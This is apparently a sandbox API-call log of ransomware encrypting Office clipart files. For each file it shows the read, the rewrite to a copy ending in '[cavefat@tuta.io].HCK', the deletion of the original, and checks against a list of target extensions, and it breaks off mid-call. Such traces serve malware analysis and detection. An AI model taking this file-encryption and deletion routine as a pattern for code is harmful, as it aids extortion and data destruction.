GetLastError () returned 0x0 [0169.944] ReadFile (in: hFile=0x308, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x2182, lpOverlapped=0x0) returned 1 [0169.946] WriteFile (in: hFile=0x3ac, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x2190, lpOverlapped=0x0) returned 1 [0169.947] ReadFile (in: hFile=0x308, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0169.947] WriteFile (in: hFile=0x3ac, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0169.947] SetEndOfFile (hFile=0x3ac) returned 1 [0169.949] CloseHandle (hObject=0x3ac) returned 1 [0169.955] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.955] SetEndOfFile (hFile=0x308) returned 1 [0169.960] CloseHandle (hObject=0x308) returned 1 [0169.962] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.962] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185834.wmf")) returned 1 [0169.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF") returned 68 [0169.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF") returned 68 [0169.964] lstrlenW (lpString=".doc") returned 4 [0169.964] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.964] lstrlenW (lpString=".docx") returned 5 [0169.964] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0169.964] lstrlenW (lpString=".pdf") returned 4 [0169.964] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.964] lstrlenW (lpString=".xls") returned 4 [0169.964] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.964] lstrlenW (lpString=".xlsx") returned 5 [0169.964] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0169.964] lstrlenW (lpString=".ppt") returned 4 [0169.964] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF") returned 68 [0169.964] lstrlenW (lpString=".zip") returned 4 [0169.964] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.964] lstrlenW (lpString=".rar") returned 4 [0169.964] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.964] lstrlenW (lpString=".bz2") returned 4 [0169.964] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.964] lstrlenW (lpString=".7z") returned 3 [0169.964] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF") returned 68 [0169.964] lstrlenW (lpString=".dbf") returned 4 [0169.964] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF") returned 68 [0169.964] lstrlenW (lpString=".1cd") returned 4 [0169.964] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF") returned 68 [0169.964] lstrlenW (lpString=".jpg") returned 4 [0169.964] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF") returned 68 [0169.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF") returned 68 [0169.964] lstrlenW (lpString=".doc") returned 4 [0169.964] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.964] lstrlenW (lpString=".docx") returned 5 [0169.964] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0169.964] lstrlenW (lpString=".pdf") returned 4 [0169.964] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.964] lstrlenW (lpString=".xls") returned 4 [0169.964] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.964] lstrlenW (lpString=".xlsx") returned 5 [0169.964] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0169.964] lstrlenW (lpString=".ppt") returned 4 [0169.964] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF") returned 68 [0169.965] lstrlenW (lpString=".zip") returned 4 [0169.965] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.965] lstrlenW (lpString=".rar") returned 4 [0169.965] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.965] lstrlenW (lpString=".bz2") returned 4 [0169.965] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.965] lstrlenW (lpString=".7z") returned 3 [0169.965] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF") returned 68 [0169.965] lstrlenW (lpString=".dbf") returned 4 [0169.965] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF") returned 68 [0169.965] lstrlenW (lpString=".1cd") returned 4 [0169.965] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185834.WMF") returned 68 [0169.965] lstrlenW (lpString=".jpg") returned 4 [0169.965] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.965] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0169.965] lstrlenW (lpString="J0186362.WMF") returned 12 [0169.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186362.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0169.971] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=17662) returned 1 [0169.971] CloseHandle (hObject=0x308) returned 1 [0169.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186362.wmf")) returned 0x220 [0169.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186362.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186362.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0169.978] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.978] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186362.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0169.986] GetLastError () returned 0x0 [0169.986] ReadFile (in: hFile=0x380, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x44fe, lpOverlapped=0x0) returned 1 [0169.988] WriteFile (in: hFile=0x3ac, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x4500, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x4500, lpOverlapped=0x0) returned 1 [0169.988] ReadFile (in: hFile=0x380, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0169.989] WriteFile (in: hFile=0x3ac, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0169.989] SetEndOfFile (hFile=0x3ac) returned 1 [0169.991] CloseHandle (hObject=0x3ac) returned 1 [0169.992] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.993] SetEndOfFile (hFile=0x380) returned 1 [0169.997] CloseHandle (hObject=0x380) returned 1 [0170.001] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.001] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186362.wmf")) returned 1 [0170.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF") returned 68 [0170.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF") returned 68 [0170.003] lstrlenW (lpString=".doc") returned 4 [0170.003] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.003] lstrlenW (lpString=".docx") returned 5 [0170.003] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0170.003] lstrlenW (lpString=".pdf") returned 4 [0170.003] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.003] lstrlenW (lpString=".xls") returned 4 [0170.003] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.003] lstrlenW (lpString=".xlsx") returned 5 [0170.003] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0170.003] lstrlenW (lpString=".ppt") returned 4 [0170.003] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF") returned 68 [0170.003] lstrlenW (lpString=".zip") returned 4 [0170.003] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.003] lstrlenW (lpString=".rar") returned 4 [0170.003] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.003] lstrlenW (lpString=".bz2") returned 4 [0170.003] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.003] lstrlenW (lpString=".7z") returned 3 [0170.003] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF") returned 68 [0170.003] lstrlenW (lpString=".dbf") returned 4 [0170.003] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF") returned 68 [0170.003] lstrlenW (lpString=".1cd") returned 4 [0170.003] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF") returned 68 [0170.003] lstrlenW (lpString=".jpg") returned 4 [0170.003] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF") returned 68 [0170.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF") returned 68 [0170.004] lstrlenW (lpString=".doc") returned 4 [0170.004] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.004] lstrlenW (lpString=".docx") returned 5 [0170.004] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0170.004] lstrlenW (lpString=".pdf") returned 4 [0170.004] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.004] lstrlenW (lpString=".xls") returned 4 [0170.004] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.004] lstrlenW (lpString=".xlsx") returned 5 [0170.004] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0170.004] lstrlenW (lpString=".ppt") returned 4 [0170.004] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF") returned 68 [0170.004] lstrlenW (lpString=".zip") returned 4 [0170.004] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.004] lstrlenW (lpString=".rar") returned 4 [0170.004] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.004] lstrlenW (lpString=".bz2") returned 4 [0170.004] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.004] lstrlenW (lpString=".7z") returned 3 [0170.004] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF") returned 68 [0170.004] lstrlenW (lpString=".dbf") returned 4 [0170.004] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF") returned 68 [0170.004] lstrlenW (lpString=".1cd") returned 4 [0170.004] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF") returned 68 [0170.004] lstrlenW (lpString=".jpg") returned 4 [0170.004] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.004] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.004] lstrlenW (lpString="J0187817.WMF") returned 12 [0170.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187817.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0170.005] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=11644) returned 1 [0170.005] CloseHandle (hObject=0x330) returned 1 [0170.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187817.wmf")) returned 0x220 [0170.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187817.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187817.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0170.011] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.011] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187817.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0170.014] GetLastError () returned 0x0 [0170.014] ReadFile (in: hFile=0x360, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x2d7c, lpOverlapped=0x0) returned 1 [0170.015] WriteFile (in: hFile=0x380, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x2d80, lpOverlapped=0x0) returned 1 [0170.016] ReadFile (in: hFile=0x360, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.016] WriteFile (in: hFile=0x380, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.016] SetEndOfFile (hFile=0x380) returned 1 [0170.019] CloseHandle (hObject=0x380) returned 1 [0170.019] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.019] SetEndOfFile (hFile=0x360) returned 1 [0170.023] CloseHandle (hObject=0x360) returned 1 [0170.027] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.027] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187817.wmf")) returned 1 [0170.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF") returned 68 [0170.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF") returned 68 [0170.028] lstrlenW (lpString=".doc") returned 4 [0170.028] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.028] lstrlenW (lpString=".docx") returned 5 [0170.028] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0170.028] lstrlenW (lpString=".pdf") returned 4 [0170.028] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.028] lstrlenW (lpString=".xls") returned 4 [0170.028] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.028] lstrlenW (lpString=".xlsx") returned 5 [0170.028] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0170.028] lstrlenW (lpString=".ppt") returned 4 [0170.028] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF") returned 68 [0170.028] lstrlenW (lpString=".zip") returned 4 [0170.028] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.028] lstrlenW (lpString=".rar") returned 4 [0170.028] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.028] lstrlenW (lpString=".bz2") returned 4 [0170.028] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.028] lstrlenW (lpString=".7z") returned 3 [0170.028] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF") returned 68 [0170.028] lstrlenW (lpString=".dbf") returned 4 [0170.028] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF") returned 68 [0170.028] lstrlenW (lpString=".1cd") returned 4 [0170.028] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF") returned 68 [0170.028] lstrlenW (lpString=".jpg") returned 4 [0170.028] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF") returned 68 [0170.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF") returned 68 [0170.028] lstrlenW (lpString=".doc") returned 4 [0170.028] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.028] lstrlenW (lpString=".docx") returned 5 [0170.028] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0170.028] lstrlenW (lpString=".pdf") returned 4 [0170.028] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.028] lstrlenW (lpString=".xls") returned 4 [0170.029] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.029] lstrlenW (lpString=".xlsx") returned 5 [0170.029] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0170.029] lstrlenW (lpString=".ppt") returned 4 [0170.029] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF") returned 68 [0170.029] lstrlenW (lpString=".zip") returned 4 [0170.029] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.029] lstrlenW (lpString=".rar") returned 4 [0170.029] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.029] lstrlenW (lpString=".bz2") returned 4 [0170.029] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.029] lstrlenW (lpString=".7z") returned 3 [0170.029] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF") returned 68 [0170.029] lstrlenW (lpString=".dbf") returned 4 [0170.029] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF") returned 68 [0170.029] lstrlenW (lpString=".1cd") returned 4 [0170.029] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF") returned 68 [0170.029] lstrlenW (lpString=".jpg") returned 4 [0170.029] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.029] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.029] lstrlenW (lpString="J0187829.WMF") returned 12 [0170.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187829.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0170.035] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=12352) returned 1 [0170.035] CloseHandle (hObject=0x308) returned 1 [0170.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187829.wmf")) returned 0x220 [0170.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187829.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187829.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0170.040] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.040] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187829.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0170.044] GetLastError () returned 0x0 [0170.044] ReadFile (in: hFile=0x364, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x3040, lpOverlapped=0x0) returned 1 [0170.045] WriteFile (in: hFile=0x38c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x3050, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x3050, lpOverlapped=0x0) returned 1 [0170.046] ReadFile (in: hFile=0x364, 